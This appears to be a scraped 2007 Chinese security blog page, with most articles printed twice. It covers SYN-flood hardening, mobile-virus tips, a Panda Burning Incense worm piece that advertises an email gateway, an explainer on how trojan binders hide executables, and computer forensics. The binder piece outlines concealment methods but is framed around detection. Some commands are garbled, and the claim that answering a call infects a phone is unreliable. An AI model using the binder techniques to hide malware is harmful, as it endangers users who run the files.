SYN网关收到客户端的SYN包时,直接转发给服务器;SYN网关收到服务器的SYN/ACK包后,将该包转发给客户端,同时以客户端的名义给服务器发ACK确认包。此时服务器由半连接状态进入连接状态。当客户端确认包到达时,如果有数据则转发,否则丢弃。事实上,服务器除了维持半连接队列外,还要有一个连接队列,如果发生SYN攻击时,将使连接队列数目增加,但一般服务器所能承受的连接数量比半连接数量大得多,所以这种方法能有效地减轻对服务器的攻击。
■SYN代理:
当客户端SYN包到达过滤网关时,SYN代理并不转发SYN包,而是以服务器的名义主动回复SYN/ACK包给客户,如果收到客户的ACK包,表明这是正常的访问,此时防火墙向服务器发送ACK包并完成三次握手。SYN代理事实上代替了服务器去处理SYN攻击,此时要求过滤网关自身具有很强的防范SYN攻击能力。
2、加固tcp/ip协议栈
防范SYN攻击的另一项主要技术是调整tcp/ip协议栈,修改tcp协议实现。主要方法有SynAttackProtect保护机制、SYN cookies技术、增加最大半连接和缩短超时时间等。tcp/ip协议栈的调整可能会引起某些功能的受限,管理员应该在进行充分了解和测试的前提下进行此项工作。
■SynAttackProtect机制
为防范SYN攻击,win2000系统的tcp/ip协议栈内嵌了SynAttackProtect机制,Win2003系统也采用此机制。SynAttackProtect机制是通过关闭某些socket选项,增加额外的连接指示和减少超时时间,使系统能处理更多的SYN连接,以达到防范SYN攻击的目的。默认情况下,Win2000操作系统并不支持SynAttackProtect保护机制,需要在注册表以下位置增加SynAttackProtect键值:
HKLMSYSTEMCurrentControlSetServicesTcpipParameters
当SynAttackProtect值(如无特别说明,本文提到的注册表键值都为十六进制)为0或不设置时,系统不受SynAttackProtect保护。
当SynAttackProtect值为1时,系统通过减少重传次数和延迟未连接时路由缓冲项(route cache entry)防范SYN攻击。
当SynAttackProtect值为2时(Microsoft推荐使用此值),系统不仅使用backlog队列,还使用附加的半连接指示,以此来处理更多的SYN连接,使用此键值时,tcp/ip的TCPInitialRTT、window size和可滑动窗囗将被禁止。
我们应该知道,平时,系统是不启用SynAttackProtect机制的,仅在检测到SYN攻击时,才启用,并调整tcp/ip协议栈。那么系统是如何检测SYN攻击发生的呢?事实上,系统根据TcpMaxHalfOpen,TcpMaxHalfOpenRetried 和TcpMaxPortsExhausted三个参数判断是否遭受SYN攻击。
TcpMaxHalfOpen 表示能同时处理的最大半连接数,如果超过此值,系统认为正处于SYN攻击中。Win2000 server默认值为100,Win2000 Advanced server为500。
TcpMaxHalfOpenRetried定义了保存在backlog队列且重传过的半连接数,如果超过此值,系统自动启动SynAttackProtect机制。Win2000 server默认值为80,Win2000 Advanced server为400。
TcpMaxPortsExhausted 是指系统拒绝的SYN请求包的数量,默认是5。
如果想调整以上参数的默认值,可以在注册表里修改(位置与SynAttackProtect相同)
■ SYN cookies技术
我们知道,TCP协议开辟了一个比较大的内存空间backlog队列来存储半连接条目,当SYN请求不断增加,并这个空间,致使系统丢弃SYN连接。为使半连接队列被塞满的情况下,服务器仍能处理新到的SYN请求,SYN cookies技术被设计出来。
SYN cookies应用于linux、FreeBSD等操作系统,当半连接队列满时,SYNcookies并不丢弃SYN请求,而是通过加密技术来标识半连接状态。
在TCP实现中,当收到客户端的SYN请求时,服务器需要回复SYN+ACK包给客户端,客户端也要发送确认包给服务器。通常,服务器的初始序列号由服务器按照一定的规律计算得到或采用随机数,但在SYN cookies中,服务器的初始序列号是通过对客户端IP地址、客户端端囗、服务器IP地址和服务器端囗以及其他一些安全数值等要素进行hash运算,加密得到的,称之为cookie。当服务器遭受SYN攻击使得backlog队列满时,服务器并不拒绝新的SYN请求,而是回复cookie(回复包的SYN序列号)给客户端, 如果收到客户端的ACK包,服务器将客户端的ACK序列号减去1得到cookie比较值,并将上述要素进行一次hash运算,看看是否等于此cookie。如果相等,直接完成三次握手(注意:此时并不用查看此连接是否属于backlog队列)。
在RedHat linux中,启用SYN cookies是通过在启动环境中设置以下命令来完成:
# echo 1 ?? /proc/sys/net/ipv4/tcp_syncookies
■ 增加最大半连接数
大量的SYN请求导致未连接队列被塞满,使正常的TCP连接无法顺利完成三次握手,通过增大未连接队列空间可以缓解这种压力。当然backlog队列需要占用大量的内存资源,不能被无限的扩大。
WIN2000:除了上面介绍的TcpMaxHalfOpen, TcpMaxHalfOpenRetried参数外,WIN2000操作系统可以通过设置动态backlog(dynamic backlog)来增大系统所能容纳的最大半连接数,配置动态backlog由AFD.SYS驱动完成,AFD.SYS是一种内核级的驱动,用于支持基于window socket的应用程序,比如ftp、telnet等。AFD.SYS在注册表的位置:
HKLMSystemCurrentControlSetServicesAFDParametersEnableDynamicBacklog值为1时,表示启用动态backlog,可以修改最大半连接数。
MinimumDynamicBacklog表示半连接队列为单个TCP端囗分配的最小空闲连接数,当该TCP端囗在backlog队列的空闲连接小于此临界值时,系统为此端囗自动启用扩展的空闲连接(DynamicBacklogGrowthDelta),Microsoft推荐该值为20。
MaximumDynamicBacklog是当前活动的半连接和空闲连接的和,当此和超过某个临界值时,系统拒绝SYN包,Microsoft推荐MaximumDynamicBacklog值不得超过2000。
DynamicBacklogGrowthDelta值是指扩展的空闲连接数,此连接数并不计算在MaximumDynamicBacklog内,当半连接队列为某个TCP端囗分配的空闲连接小于MinimumDynamicBacklog时,系统自动分配DynamicBacklogGrowthDelta所定义的空闲连接空间,以使该TCP端囗能处理更多的半连接。Microsoft推荐该值为10。
LINUX:Linux用变量tcp_max_syn_backlog定义backlog队列容纳的最大半连接数。在Redhat 7.3中,该变量的值默认为256,这个值是远远不够的,一次强度不大的SYN攻击就能使半连接队列占满。我们可以通过以下命令修改此变量的值:
# sysctl -w net.ipv4.tcp_max_syn_backlog=`2048`
Sun Solaris Sun Solaris用变量tcp_conn_req_max_q0来定义最大半连接数,在Sun Solaris 8中,该值默认为1024,可以通过add命令改变这个值:
# ndd -set /dev/tcp tcp_conn_req_max_q0 2048
HP-UX:HP-UX用变量tcp_syn_rcvd_max来定义最大半连接数,在HP-UX 11.00中,该值默认为500,可以通过ndd命令改变默认值:
#ndd -set /dev/tcp tcp_syn_rcvd_max 2048
■缩短超时时间
上文提到,通过增大backlog队列能防范SYN攻击;另外减少超时时间也使系统能处理更多的SYN请求。我们知道,timeout超时时间,也即半连接存活时间,是系统所有重传次数等待的超时时间总和,这个值越大,半连接数占用backlog队列的时间就越长,系统能处理的SYN请求就越少。为缩短超时时间,可以通过缩短重传超时时间(一般是第一次重传超时时间)和减少重传次数来实现。
Win2000第一次重传之前等待时间默认为3秒,为改变此默认值,可以通过修改网络接囗在注册表里的TcpInitialRtt注册值来完成。重传次数由TcpMaxConnectResponseRetransmissions 来定义,注册表的位置是:HKLMSYSTEMCurrentControlSetServicesTcpipParameters registry key。
当然我们也可以把重传次数设置为0次,这样服务器如果在3秒内还未收到ack确认包就自动从backlog队列中删除该连接条目。
LINUX:Redhat使用变量tcp_synack_retries定义重传次数,其默认值是5次,总超时时间需要3分钟。
Sun Solaris Solaris 默认的重传次数是3次,总超时时间为3分钟,可以通过ndd命令修改这些默认值。(t003)
移动也安全之WAP手机上网防病毒攻略
[ 2007-03-25 02:54:20 | 作者: sun ]
随着WAP手机技术的日趋成熟,接入互联网轻松获得大量的信息已成为未来手机发展的必然趋势。而且随着配备Java功能的i模式手机登场,手机接入互联网更为便捷,势必会因此增加手机感染病毒的机会。由于通过网络直接对WAP手机进行攻击比对GSM手机进行攻击更加简便易行,WAP手机已经成为电脑黑客攻击的重要对象。
黑客对手机进行攻击,通常采用以下三种方式:一是攻击WAP服务器,使WAP手机无法接收正常信息;二是攻击和控制“网关”,向手机发送垃圾信息(严格地说,以上两种手机病毒还属于电脑病毒,不会破坏手机本身);三是直接攻击手机本身,使手机无法提供服务。新一代的WAP手机由于其功能的多元化,因此病毒带来的灾害也会更大。侵袭WAP手机的病毒可能会自动启动电话录音功能、自动拨打电话、删除手机上的档案内容,甚至会制造出金额庞大的电话账单。
要避免手机感染病毒,用户在使用手机时要采取适当的措施:
1、关闭乱码电话。当对方的电话拨入时,屏幕上显示的应该是来电电话号码,结果却显示别的字样或奇异符号。如果遇到上述情形,用户应不回答或立即把电话关闭。如接听来电,则会感染上病毒,同时机内所有新名词及设定将被破坏。
2、尽量少从网上下载信息。病毒要想侵入且在流动网络上传送,要先破坏掉手机短信息保护系统,这本非容易的事情。但随着3G时代的来临,手机更加趋向于一台小型电脑,有电脑病毒就会有手机病毒,因此从网上下载信息时要当心感染病毒。
3、注意短信息中可能存在的病毒。短信息的收发作为移动通讯的一个重要方式,也是感染手机病毒的一个重要途径。如今手机病毒的发展已经从潜伏期过渡到了破坏期,短信息已成为下毒的常用工具。手机用户一旦接到带有病毒的短信息,阅读后便会出现手机键盘被锁,甚至破坏手机IC卡等严重效果。
4、对手机进行查杀病毒。目前查杀手机病毒的主要技术措施有两种:一是通过无线网站对手机进行杀毒;二是通过手机的IC接入口或红外传输口进行杀毒。在i模式手机中,为了禁止非法利用该功能,可采取以下的安全性措施:(1)将执行Java小程序的内存和存贮电话簿等功能的内存分割开来,从而禁止小程序访问;(2)已经下载的Java小程序只能访问保存该小程序的服务器;(3)当小程序试图利用手机的硬件功能(如使用拨号功能打电话时)便会发出警告等。
手机病毒因手机网络联系密切,影响面广,破坏力强,故不可掉以轻心。但也不必因噎废食,只要做足防范措施,便可放心使用。
黑客对手机进行攻击,通常采用以下三种方式:一是攻击WAP服务器,使WAP手机无法接收正常信息;二是攻击和控制“网关”,向手机发送垃圾信息(严格地说,以上两种手机病毒还属于电脑病毒,不会破坏手机本身);三是直接攻击手机本身,使手机无法提供服务。新一代的WAP手机由于其功能的多元化,因此病毒带来的灾害也会更大。侵袭WAP手机的病毒可能会自动启动电话录音功能、自动拨打电话、删除手机上的档案内容,甚至会制造出金额庞大的电话账单。
要避免手机感染病毒,用户在使用手机时要采取适当的措施:
1、关闭乱码电话。当对方的电话拨入时,屏幕上显示的应该是来电电话号码,结果却显示别的字样或奇异符号。如果遇到上述情形,用户应不回答或立即把电话关闭。如接听来电,则会感染上病毒,同时机内所有新名词及设定将被破坏。
2、尽量少从网上下载信息。病毒要想侵入且在流动网络上传送,要先破坏掉手机短信息保护系统,这本非容易的事情。但随着3G时代的来临,手机更加趋向于一台小型电脑,有电脑病毒就会有手机病毒,因此从网上下载信息时要当心感染病毒。
3、注意短信息中可能存在的病毒。短信息的收发作为移动通讯的一个重要方式,也是感染手机病毒的一个重要途径。如今手机病毒的发展已经从潜伏期过渡到了破坏期,短信息已成为下毒的常用工具。手机用户一旦接到带有病毒的短信息,阅读后便会出现手机键盘被锁,甚至破坏手机IC卡等严重效果。
4、对手机进行查杀病毒。目前查杀手机病毒的主要技术措施有两种:一是通过无线网站对手机进行杀毒;二是通过手机的IC接入口或红外传输口进行杀毒。在i模式手机中,为了禁止非法利用该功能,可采取以下的安全性措施:(1)将执行Java小程序的内存和存贮电话簿等功能的内存分割开来,从而禁止小程序访问;(2)已经下载的Java小程序只能访问保存该小程序的服务器;(3)当小程序试图利用手机的硬件功能(如使用拨号功能打电话时)便会发出警告等。
手机病毒因手机网络联系密切,影响面广,破坏力强,故不可掉以轻心。但也不必因噎废食,只要做足防范措施,便可放心使用。
安全技巧之解读卡巴斯基自动断开连接
[ 2007-03-25 02:54:04 | 作者: sun ]
“熊猫烧香”的作者落网了,主犯也被抓了几个,解毒程序更是在进一步鉴定中。似乎针对“熊猫烧香”病毒的斗争一切都在向着很好的方向发展,真的是这样么?解毒程序不是万能的!时至今日,“熊猫烧香”病毒的新变种还在不断出现,继续危害着计算机用户。在与瑞星专家的访谈中我们知道熊猫烧香病毒传播主要是以感染的网页文件和邮件传播为主,病毒代码多数藏匿在网页文件代码中,多数携带此类病毒的网页文件都以广告宣传种类居多,通过邮件群发的方式在网上肆意扩散,造成计算机系统的瘫痪,严重妨碍了人们的正常工作和学习。
“熊猫烧香”的作者落网了,主犯也被抓了几个,解毒程序更是在进一步鉴定中。似乎针对“熊猫烧香”病毒的斗争一切都在向着很好的方向发展,真的是这样么?
解毒程序不是万能的!时至今日,“熊猫烧香”病毒的新变种还在不断出现,继续危害着计算机用户。
在与瑞星专家的访谈中我们知道熊猫烧香病毒传播主要是以感染的网页文件和邮件传播为主,病毒代码多数藏匿在网页文件代码中,多数携带此类病毒的网页文件都以广告宣传种类居多,通过邮件群发的方式在网上肆意扩散,造成计算机系统的瘫痪,严重妨碍了人们的正常工作和学习。
敏讯科技防病毒技术人员建议,“熊猫烧香”病毒通过网页文件、邮件发送等方式感染到计算机系统,除了有效的安装专业的杀毒软件,升级到最新版本杀毒外,更主要的是对病毒传播源头开始进行彻底清理,否则没有显著的效果来对付“熊猫烧香病毒的滋生泛滥。针对网页文件的感染需要做到不要随意点击不明的网页地址链接,浏览网站时,务必打开计算机系统中防病毒软件的“网页监控”功能。
而针对通过邮件群发方式传播“熊猫烧香”病毒,敏讯科技针对病毒邮件发送源头进行彻底的拦截查杀。针对病毒邮件发送服务器联机的时间、频率、规则,虚假的smtp路由信息、动态IP等多种具备垃圾邮件典型行为的特征准确判断,从而对病毒邮件发送行为进行深入探测,精确区分每一封病毒邮件。这种技术能够追踪到病毒邮件的原始传递信息、爆发信息,实施“空中拦截”方式把可疑病毒邮件拦截到“EQManager邮件网关”,而不用下载到邮件服务器传播到用户的计算机系统,从而保障了用户计算机系统的安全使用。
另据介绍敏讯科技的“EQAVSE邮件防病毒系统”是敏讯科技自主研发的专业邮件防病毒产品,它嵌入的EQManager邮件安全网关的“查杀病毒邮件”模块,每天都会自定义升级病毒策略库,实时在线查杀病毒邮件,在线检测技术、扫描速度、文档修复、软件功能等多方面功能,全方面对病毒文件查杀处理。
从电子邮件入手,切断“熊猫烧香”入侵线路。防病毒、防垃圾邮件两手齐动,多方位保护我们系统的安全,拒绝熊猫烧香入侵的黑手。
“熊猫烧香”的作者落网了,主犯也被抓了几个,解毒程序更是在进一步鉴定中。似乎针对“熊猫烧香”病毒的斗争一切都在向着很好的方向发展,真的是这样么?
解毒程序不是万能的!时至今日,“熊猫烧香”病毒的新变种还在不断出现,继续危害着计算机用户。
在与瑞星专家的访谈中我们知道熊猫烧香病毒传播主要是以感染的网页文件和邮件传播为主,病毒代码多数藏匿在网页文件代码中,多数携带此类病毒的网页文件都以广告宣传种类居多,通过邮件群发的方式在网上肆意扩散,造成计算机系统的瘫痪,严重妨碍了人们的正常工作和学习。
敏讯科技防病毒技术人员建议,“熊猫烧香”病毒通过网页文件、邮件发送等方式感染到计算机系统,除了有效的安装专业的杀毒软件,升级到最新版本杀毒外,更主要的是对病毒传播源头开始进行彻底清理,否则没有显著的效果来对付“熊猫烧香病毒的滋生泛滥。针对网页文件的感染需要做到不要随意点击不明的网页地址链接,浏览网站时,务必打开计算机系统中防病毒软件的“网页监控”功能。
而针对通过邮件群发方式传播“熊猫烧香”病毒,敏讯科技针对病毒邮件发送源头进行彻底的拦截查杀。针对病毒邮件发送服务器联机的时间、频率、规则,虚假的smtp路由信息、动态IP等多种具备垃圾邮件典型行为的特征准确判断,从而对病毒邮件发送行为进行深入探测,精确区分每一封病毒邮件。这种技术能够追踪到病毒邮件的原始传递信息、爆发信息,实施“空中拦截”方式把可疑病毒邮件拦截到“EQManager邮件网关”,而不用下载到邮件服务器传播到用户的计算机系统,从而保障了用户计算机系统的安全使用。
另据介绍敏讯科技的“EQAVSE邮件防病毒系统”是敏讯科技自主研发的专业邮件防病毒产品,它嵌入的EQManager邮件安全网关的“查杀病毒邮件”模块,每天都会自定义升级病毒策略库,实时在线查杀病毒邮件,在线检测技术、扫描速度、文档修复、软件功能等多方面功能,全方面对病毒文件查杀处理。
从电子邮件入手,切断“熊猫烧香”入侵线路。防病毒、防垃圾邮件两手齐动,多方位保护我们系统的安全,拒绝熊猫烧香入侵的黑手。
菜鸟也来对付最流行的几种病毒捆绑器
[ 2007-03-25 02:53:46 | 作者: sun ]
【编者按:我们经常听到有人说“我中毒啦”、“我的文件被感染”啦。而且很多时候人们会发现,病毒被查杀的同时,自己的文件也被破坏了,这一切其实都是和病毒的捆绑技术有关。本文内容仅供参考,切勿用于不当之处!】
最近不知怎么搞的,一夜就冒出许多捆绑机,害得我等菜鸟苦不堪言。今天就各种捆绑器的原理和检测方法做个简单的总结,以帮助各位识别带毒程序。
一、传统的捆绑器 这种原理很简单,也是目前用的最多的一种。就是将B.exe附加到A.exe的末尾。这样当A.exe被执行的时候,B.exe也跟着执行了。这种捆绑器的代码是满网都是。我最早是从jingtao的一篇关于流的文章中得知的。就目前来说,已经没什么技术含量了。
检测方法:稍微懂一点PE知识的人都应该知道。一个完整有效的PE/EXE文件,他的里面都包含了几个绝对固定的特点(不管是否加壳)。一是文件以MZ开头,跟着DOS头后面的PE头以PE\0\0开头。有了这两个特点,检测就变得很简单了。只需利用UltraEdit一类工具打开目标文件搜索关键字MZ或者PE。如果找到两个或者两个以上。则说明这个文件一定是被捆绑了。不过值得注意的是,一些生成器也是利用了这个原理,将木马附加到生成器末尾,用户选择生成的时候读出来。另外网上流行的多款“捆绑文件检测工具”都是文件读出来,然后检索关键字MZ或者PE。
说到这里,相信大家有了一个大概的了解。那就是所谓的“捆绑文件检测工具”是完全靠不住的一样东西。
二、资源包裹捆绑器 就这原理也很简单。大部分检测器是检测不出来的,但灰鸽子木马辅助查找可以检测出捆绑后未经加壳处理的EXE文件。但一般人都会加壳,所以也十分不可靠。这个学过编程或者了解PE结构的人都应该知道。资源是EXE中的一个特殊的区段。可以用来包含EXE需要/不需要用到的任何一切东西。利用这个原理进行100%免杀捆绑已经让人做成了动画。大家可以去下载看看。那捆绑器是如何利用这一点的呢?这只需要用到BeginUpdateResource、UpdateResource和EndUpdateResource这三个API函数就可以搞定。这三个API函数是用来做资源更新/替换用的。作者只需先写一个包裹捆绑文件的头文件Header.exe.头文件中只需一段释放资源的代码。而捆绑器用的时候先将头文件释放出来,然后用上面说的三个API函数将待捆绑的文件更新到这个头文件中即完成了捆绑。类似原理被广泛运用到木马生成器上。
检测方法:一般这种很难检测。如果你不怕麻烦,可以先将目标文件进行脱壳。然后用“灰鸽子木马辅助查找”或“ResTorator”一类工具将资源读出来进行分析。但这种方法毕竟不通用。所以还是推荐有条件的朋友使用虚拟机。
三、编译器捆绑法 暂时不知用什么名字来形容,所以只能用这个来代替。这种方法相当的阴险。是将要捆绑的文件转换成16进制保存到一个数组中。像这样
muma:array[0..9128] of Byte=($4D,$5A,$50....$00);
然后用时再用API函数CreateFile和WriteFile便可将文件还原到硬盘。这里稍稍学过编程的都知道。代码中的数组经过编译器、连接器这么一搞。连影都没了。哪还能有什么文件是吧?所以就这种方法而言,目前还没有可以查杀的方法。这种方法可以利用编程辅助工具jingtao的DcuAnyWhere或Anskya的AnyWhereFileToPas来实现。
四、最最毒辣的一种 因为暂时用的人较少,且危害性及查杀难度太大,所以就不公布了。此法查杀方法通用性极差。如果流行,估计大家连动画都不敢下着看了。
补充:可以利用一些第三方工具将硬盘和注册表监视起来以后再运行那些你不确定是否被捆绑的程序。这样,一旦硬盘出现变化,或有文件新建,或有文件改变都会被记录在案。就算是查找起来也方便一点。
最近不知怎么搞的,一夜就冒出许多捆绑机,害得我等菜鸟苦不堪言。今天就各种捆绑器的原理和检测方法做个简单的总结,以帮助各位识别带毒程序。
一、传统的捆绑器 这种原理很简单,也是目前用的最多的一种。就是将B.exe附加到A.exe的末尾。这样当A.exe被执行的时候,B.exe也跟着执行了。这种捆绑器的代码是满网都是。我最早是从jingtao的一篇关于流的文章中得知的。就目前来说,已经没什么技术含量了。
检测方法:稍微懂一点PE知识的人都应该知道。一个完整有效的PE/EXE文件,他的里面都包含了几个绝对固定的特点(不管是否加壳)。一是文件以MZ开头,跟着DOS头后面的PE头以PE\0\0开头。有了这两个特点,检测就变得很简单了。只需利用UltraEdit一类工具打开目标文件搜索关键字MZ或者PE。如果找到两个或者两个以上。则说明这个文件一定是被捆绑了。不过值得注意的是,一些生成器也是利用了这个原理,将木马附加到生成器末尾,用户选择生成的时候读出来。另外网上流行的多款“捆绑文件检测工具”都是文件读出来,然后检索关键字MZ或者PE。
说到这里,相信大家有了一个大概的了解。那就是所谓的“捆绑文件检测工具”是完全靠不住的一样东西。
二、资源包裹捆绑器 就这原理也很简单。大部分检测器是检测不出来的,但灰鸽子木马辅助查找可以检测出捆绑后未经加壳处理的EXE文件。但一般人都会加壳,所以也十分不可靠。这个学过编程或者了解PE结构的人都应该知道。资源是EXE中的一个特殊的区段。可以用来包含EXE需要/不需要用到的任何一切东西。利用这个原理进行100%免杀捆绑已经让人做成了动画。大家可以去下载看看。那捆绑器是如何利用这一点的呢?这只需要用到BeginUpdateResource、UpdateResource和EndUpdateResource这三个API函数就可以搞定。这三个API函数是用来做资源更新/替换用的。作者只需先写一个包裹捆绑文件的头文件Header.exe.头文件中只需一段释放资源的代码。而捆绑器用的时候先将头文件释放出来,然后用上面说的三个API函数将待捆绑的文件更新到这个头文件中即完成了捆绑。类似原理被广泛运用到木马生成器上。
检测方法:一般这种很难检测。如果你不怕麻烦,可以先将目标文件进行脱壳。然后用“灰鸽子木马辅助查找”或“ResTorator”一类工具将资源读出来进行分析。但这种方法毕竟不通用。所以还是推荐有条件的朋友使用虚拟机。
三、编译器捆绑法 暂时不知用什么名字来形容,所以只能用这个来代替。这种方法相当的阴险。是将要捆绑的文件转换成16进制保存到一个数组中。像这样
muma:array[0..9128] of Byte=($4D,$5A,$50....$00);
然后用时再用API函数CreateFile和WriteFile便可将文件还原到硬盘。这里稍稍学过编程的都知道。代码中的数组经过编译器、连接器这么一搞。连影都没了。哪还能有什么文件是吧?所以就这种方法而言,目前还没有可以查杀的方法。这种方法可以利用编程辅助工具jingtao的DcuAnyWhere或Anskya的AnyWhereFileToPas来实现。
四、最最毒辣的一种 因为暂时用的人较少,且危害性及查杀难度太大,所以就不公布了。此法查杀方法通用性极差。如果流行,估计大家连动画都不敢下着看了。
补充:可以利用一些第三方工具将硬盘和注册表监视起来以后再运行那些你不确定是否被捆绑的程序。这样,一旦硬盘出现变化,或有文件新建,或有文件改变都会被记录在案。就算是查找起来也方便一点。
网络入侵证据的收集与分析
[ 2007-03-25 02:53:35 | 作者: sun ]
如果有未经授权的入侵者入侵了你的网络,且破坏了数据,除了从备份系统中恢复数据之外,还需要做什么呢?
从事网络安全工作的人都知道,黑客在入侵之后都会想方设法抹去自己在受害系统上的活动记录。目的是逃脱法律的制裁。
而许多企业也不上报网络犯罪,其原因在于害怕这样做会对业务运作或企业商誉造成负面影响。他们担心这样做会让业务运作因此失序。更重要的是收集犯罪证据有一定困难。因此,CIO们应该在应急响应系统的建立中加入计算机犯罪证据的收集与分析环节。
什么是“计算机犯罪取证”?
计算机取证又称为数字取证或电子取证,是指对计算机入侵、破坏、欺诈、攻击等犯罪行为利用计算机软硬件技术,按照符合法律规范的方式进行证据获取、保存、分析和出示的过程。从技术上,计算机取证是一个对受侵计算机系统进行扫描和破解,以及对整个入侵事件进行重建的过程。
计算机取证包括物理证据获取和信息发现两个阶段。物理证据获取是指调查人员到计算机犯罪或入侵的现场,寻找并扣留相关的计算机硬件;信息发现是指从原始数据(包括文件,日志等)中寻找可以用来证明或者反驳的证据,即电子证据。
除了那些刚入门的“毛小子”之外,计算机犯罪分子也会在作案前周密部署、作案后消除蛛丝马迹。他们更改、删除目标主机的日志文件,清理自己的工具软件,或利用反取证工具来破坏侦察人员的取证。这就要求我们在反入侵的过程中,首先要清楚我们要做什么?然后才是怎么做的问题。
物理取证是核心任务
物理证据的获取是全部取证工作的基础。获取物理证据是最重要的工作,保证原始数据不受任何破坏。无论在任何情况下,调查者都应牢记5点:(1)不要改变原始记录;(2)不要在作为证据的计算机上执行无关的操作;(3)不要给犯罪者销毁证据的机会;(4)详细记录所有的取证活动;(5)妥善保存得到的物证。如果被入侵的计算机处于工作状态,取证人员应该设法保存尽可能多的犯罪信息。
要做到这5点可以说困难重重,首先可能出现的问题就是无法保证业务的连续性。由于入侵者的证据可能存在于系统日志、数据文件、寄存器、交换区、隐藏文件、空闲的磁盘空间、打印机缓存、网络数据区和计数器、用户进程存储器、文件缓存区等不同的位置。由此看见,物理取证不但是基础,而且是技术难点。
通常的做法是将要获取的数据包括从内存里获取易灭失数据和从硬盘获取等相对稳定数据,保证获取的顺序为先内存后硬盘。案件发生后,立即对目标机和网络设备进行内存检查并做好记录,根据所用操作系统的不同可以使用的内存检查命令对内存里易灭失数据获取,力求不要对硬盘进行任何读写操作,以免更改数据原始性。利用专门的工具对硬盘进行逐扇区的读取,将硬盘数据完整地克隆出来,便于今后在专门机器上对原始硬盘的镜像文件进行分析。
“计算机法医”要看的现场是什么?(日志)
有的时候,计算机取证(Computer Forensics)也可以称为计算机法医学,它是指把计算机看作是犯罪现场,运用先进的辨析技术,对电脑犯罪行为进行法医式的解剖,搜寻确认罪犯及其犯罪证据,并据此提起诉讼。好比飞机失事后,事故现场和当时发生的任何事都需要从飞机的“黑匣子”中获取。说到这里您可能就猜到了,计算机的黑匣子就是自身的日志记录系统。从理论上讲,计算机取证人员能否找到犯罪证据取决于:有关犯罪证据必须没有被覆盖;取证软件必须能找到这些数据;取证人员能知道这些文件,并且能证明它们与犯罪有关。但从海量的数据里面寻找蛛丝马迹是一件非常费时费力的工作,解决这一难题方法的就是切入点,所以说从日志入手才是最直接有效的手段。
这里还需要指出,不同的操作系统都可以在“Event Viewer Security”(安全事件观察器)中能够检查到各种活动和日志信息,但是自身的防护性能都是非常低,一旦遭受到入侵,很容易就被清除掉。从中我们可以看到,专业的日志防护与分析软件在整个安全产品市场中的地位之重,无需置疑。
我国有关计算机取证的研究与实践尚在起步阶段,在信息技术较发达的美国已有了30年左右的历史。现在美国至少有70%的法律部门拥有自己的计算机取证实验室,取证专家在实验室内分析从犯罪现场获取的计算机(和外设),并试图找出入侵行为。
在国内,公安部门打击计算机犯罪案件是近几年的事,有关计算机取证方面的研究和实践才刚起步。中科院、浙江大学和复旦大学等在电子取证的各个技术方面都在积极开展研究工作。6月26日在北京召开的CFAT.2005首届中国计算机取证技术峰会也是旨在推动国内外计算机取证先进技术的传播和扩大研究交流的深度广度,促进计算机取证专业人员、司法界人士以及兴趣爱好者直接、深入的交流。在把企业业务连续性作为首位的同时,我们也呼吁更加智能化的物理取证工具的早日面试。
从事网络安全工作的人都知道,黑客在入侵之后都会想方设法抹去自己在受害系统上的活动记录。目的是逃脱法律的制裁。
而许多企业也不上报网络犯罪,其原因在于害怕这样做会对业务运作或企业商誉造成负面影响。他们担心这样做会让业务运作因此失序。更重要的是收集犯罪证据有一定困难。因此,CIO们应该在应急响应系统的建立中加入计算机犯罪证据的收集与分析环节。
什么是“计算机犯罪取证”?
计算机取证又称为数字取证或电子取证,是指对计算机入侵、破坏、欺诈、攻击等犯罪行为利用计算机软硬件技术,按照符合法律规范的方式进行证据获取、保存、分析和出示的过程。从技术上,计算机取证是一个对受侵计算机系统进行扫描和破解,以及对整个入侵事件进行重建的过程。
计算机取证包括物理证据获取和信息发现两个阶段。物理证据获取是指调查人员到计算机犯罪或入侵的现场,寻找并扣留相关的计算机硬件;信息发现是指从原始数据(包括文件,日志等)中寻找可以用来证明或者反驳的证据,即电子证据。
除了那些刚入门的“毛小子”之外,计算机犯罪分子也会在作案前周密部署、作案后消除蛛丝马迹。他们更改、删除目标主机的日志文件,清理自己的工具软件,或利用反取证工具来破坏侦察人员的取证。这就要求我们在反入侵的过程中,首先要清楚我们要做什么?然后才是怎么做的问题。
物理取证是核心任务
物理证据的获取是全部取证工作的基础。获取物理证据是最重要的工作,保证原始数据不受任何破坏。无论在任何情况下,调查者都应牢记5点:(1)不要改变原始记录;(2)不要在作为证据的计算机上执行无关的操作;(3)不要给犯罪者销毁证据的机会;(4)详细记录所有的取证活动;(5)妥善保存得到的物证。如果被入侵的计算机处于工作状态,取证人员应该设法保存尽可能多的犯罪信息。
要做到这5点可以说困难重重,首先可能出现的问题就是无法保证业务的连续性。由于入侵者的证据可能存在于系统日志、数据文件、寄存器、交换区、隐藏文件、空闲的磁盘空间、打印机缓存、网络数据区和计数器、用户进程存储器、文件缓存区等不同的位置。由此看见,物理取证不但是基础,而且是技术难点。
通常的做法是将要获取的数据包括从内存里获取易灭失数据和从硬盘获取等相对稳定数据,保证获取的顺序为先内存后硬盘。案件发生后,立即对目标机和网络设备进行内存检查并做好记录,根据所用操作系统的不同可以使用的内存检查命令对内存里易灭失数据获取,力求不要对硬盘进行任何读写操作,以免更改数据原始性。利用专门的工具对硬盘进行逐扇区的读取,将硬盘数据完整地克隆出来,便于今后在专门机器上对原始硬盘的镜像文件进行分析。
“计算机法医”要看的现场是什么?(日志)
有的时候,计算机取证(Computer Forensics)也可以称为计算机法医学,它是指把计算机看作是犯罪现场,运用先进的辨析技术,对电脑犯罪行为进行法医式的解剖,搜寻确认罪犯及其犯罪证据,并据此提起诉讼。好比飞机失事后,事故现场和当时发生的任何事都需要从飞机的“黑匣子”中获取。说到这里您可能就猜到了,计算机的黑匣子就是自身的日志记录系统。从理论上讲,计算机取证人员能否找到犯罪证据取决于:有关犯罪证据必须没有被覆盖;取证软件必须能找到这些数据;取证人员能知道这些文件,并且能证明它们与犯罪有关。但从海量的数据里面寻找蛛丝马迹是一件非常费时费力的工作,解决这一难题方法的就是切入点,所以说从日志入手才是最直接有效的手段。
这里还需要指出,不同的操作系统都可以在“Event Viewer Security”(安全事件观察器)中能够检查到各种活动和日志信息,但是自身的防护性能都是非常低,一旦遭受到入侵,很容易就被清除掉。从中我们可以看到,专业的日志防护与分析软件在整个安全产品市场中的地位之重,无需置疑。
我国有关计算机取证的研究与实践尚在起步阶段,在信息技术较发达的美国已有了30年左右的历史。现在美国至少有70%的法律部门拥有自己的计算机取证实验室,取证专家在实验室内分析从犯罪现场获取的计算机(和外设),并试图找出入侵行为。
